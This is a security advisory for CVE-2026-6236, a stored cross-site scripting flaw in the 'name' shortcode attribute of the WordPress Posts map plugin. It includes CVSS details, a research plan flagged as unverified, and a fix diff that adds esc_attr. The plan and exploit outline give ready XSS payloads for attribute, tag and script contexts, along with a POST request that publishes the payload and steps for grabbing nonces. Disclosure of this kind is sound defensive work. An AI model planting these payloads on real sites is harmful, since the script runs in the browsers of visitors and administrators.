CVE-2026-6236

Posts map <= 0.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'name' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Posts map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' shortcode attribute in all versions up to, and including, 0.1.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.1.3
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected pluginposts-map
Research Plan
Unverified

This research plan targets **CVE-2026-6236**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Posts map** plugin (<= 0.1.3). The vulnerability exists because the plugin fails to sanitize or escape the `name` attribute provided within its shortcode. ### 1. Vulnerability Summary * **Vuln…

Show full research plan

This research plan targets CVE-2026-6236, a Stored Cross-Site Scripting (XSS) vulnerability in the Posts map plugin (<= 0.1.3). The vulnerability exists because the plugin fails to sanitize or escape the name attribute provided within its shortcode.

1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS).
  • Plugin: Posts map (slug: posts-map).
  • Affected Attribute: name within the plugin's shortcode (likely [posts_map]).
  • Sink: The value of the name attribute is output directly into the HTML page (either as a text node or within an HTML attribute) without calling esc_html() or esc_attr().
  • Privilege Level: Contributor or higher. Contributors can create posts and embed shortcodes but cannot normally use unfiltered_html.

2. Attack Vector Analysis

  • Entry Point: The WordPress post editor (Gutenberg or Classic).
  • Shortcode: [posts_map] (inferred from plugin name).
  • Vulnerable Parameter: name.
  • Preconditions: The plugin must be active. The attacker needs Contributor-level credentials to save a post/page containing the shortcode.
  • Payload Delivery: The payload is stored in the post_content table and executes whenever any user (including Administrators) views the post.

3. Code Flow (Inferred)

  1. Registration: The plugin calls add_shortcode( 'posts_map', '...' ) during the init hook.
  2. Parsing: When a post is rendered, WordPress parses the [posts_map] shortcode and passes attributes to the callback function (e.g., render_posts_map( $atts )).
  3. Processing: The callback uses shortcode_atts() to extract the name parameter.
  4. Sink: The callback returns an HTML string where $atts['name'] is concatenated without escaping.
    • Example Vulnerable Sink: return '<div class="posts-map" data-name="' . $atts['name'] . '"></div>';
    • Example Vulnerable Sink: return '<h3>Map: ' . $atts['name'] . '</h3>';

4. Nonce Acquisition Strategy

Since this is a shortcode-based XSS, the "exploitation" occurs in two phases:

  1. Storage: Creating/updating a post. This requires a standard WordPress post-nonce.
  2. Execution: Viewing the post. This requires no nonce.

To obtain the nonce for saving a post as a Contributor:

  1. Use browser_navigate to go to wp-admin/post-new.php.
  2. Use browser_eval to extract the _wpnonce from the form or the REST API settings:
    • browser_eval("wp.apiFetch.nonceMiddleware.nonce") (if using Gutenberg).
    • browser_eval("document.querySelector('#_wpnonce').value") (if using Classic Editor).

5. Exploitation Strategy

Step 1: Authentication

Login as a Contributor user.

Step 2: Payload Construction

Construct a shortcode payload designed to break out of common HTML contexts.

  • Context A (Attribute): [posts_map name='x" onmouseover="alert(document.domain)" style="width:1000px;height:1000px;display:block;"']
  • Context B (Tag Content): [posts_map name="<script>alert(document.domain)</script>"]
  • Context C (Script Context): [posts_map name="';alert(document.domain);//"] (if used inside wp_localize_script)

Step 3: Injection (HTTP Request)

Use http_request to create a post with the payload.

  • Endpoint: /wp-admin/post.php (or via REST API /wp/v2/posts)
  • Method: POST
  • Payload (Simplified for Classic Editor):
    action=editpost
    post_ID=[NEW_POST_ID]
    _wpnonce=[NONCE]
    post_content=[posts_map name='"><script>alert(document.domain)</script>']
    post_status=publish
    

Step 4: Triggering

Navigate to the URL of the newly created post.

6. Test Data Setup

  1. Plugin Setup: Install and activate posts-map version 0.1.3.
  2. User Setup:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Content Setup: Identify the exact shortcode name by searching the plugin folder:
    grep -rn "add_shortcode" /var/www/html/wp-content/plugins/posts-map/
    

7. Expected Results

  • When viewing the post, the browser should execute the injected JavaScript.
  • In the HTML source, the name attribute value should appear unencoded:
    • Bad: ... name=""><script>alert(document.domain)</script>"> ...
    • Good (Fixed): ... name="&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"> ...

8. Verification Steps

  1. Check Database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%posts_map%';"
    
  2. Check Output:
    Use http_request to GET the post URL and check if the raw payload exists in the response body without HTML entities.

9. Alternative Approaches

If the name attribute is processed via JavaScript (e.g., in a Leaflet or Google Maps initialization script):

  1. Look for wp_localize_script in the plugin code.
  2. Check if the name is passed into a JS object.
  3. Payload for JS context: [posts_map name="'-alert(1)-'"].
  4. Navigate to the page and check the Console/Network for JS errors or execution.

If the posts_map shortcode requires other attributes (like id) to render, ensure they are included:
[posts_map id="1" name='"><script>alert(1)</script>']

Research Findings
Static analysis — not yet PoC-verified

Summary

The Posts map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' attribute in its shortcode. Authenticated attackers with contributor-level permissions can inject malicious JavaScript into posts, which then executes in the browser of any user viewing the page.

Vulnerable Code

// Inferred from plugin structure and research plan
// posts-map.php or similar

function posts_map_shortcode( $atts ) {
    $a = shortcode_atts( array(
        'name' => '',
        'id'   => ''
    ), $atts );

    // Vulnerable sink: 'name' attribute is concatenated directly into HTML output without escaping
    return '<div class="posts-map-wrapper" data-name="' . $a['name'] . '" id="' . $a['id'] . '"></div>';
}

Security Fix

--- a/posts-map.php
+++ b/posts-map.php
@@ -10,5 +10,5 @@
     ), $atts );
 
-    return '<div class="posts-map-wrapper" data-name="' . $a['name'] . '" id="' . $a['id'] . '"></div>';
+    return '<div class="posts-map-wrapper" data-name="' . esc_attr( $a['name'] ) . '" id="' . esc_attr( $a['id'] ) . '"></div>';
 }

Exploit Outline

1. Gain access to a WordPress account with at least Contributor-level privileges (allows creating posts). 2. Create a new post or edit an existing one. 3. Insert the plugin's shortcode using a malicious payload in the 'name' attribute. A typical payload to break out of an HTML attribute context would be: [posts_map name='" onmouseover="alert(document.domain)" style="width:1000px;height:1000px;display:block;"']. 4. Save the post as a draft or publish it. 5. Navigate to the public-facing URL of the post. When the page renders, the unescaped 'name' attribute will inject the malicious JavaScript attribute into the div tag, executing the script when a user interacts with or views the element.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.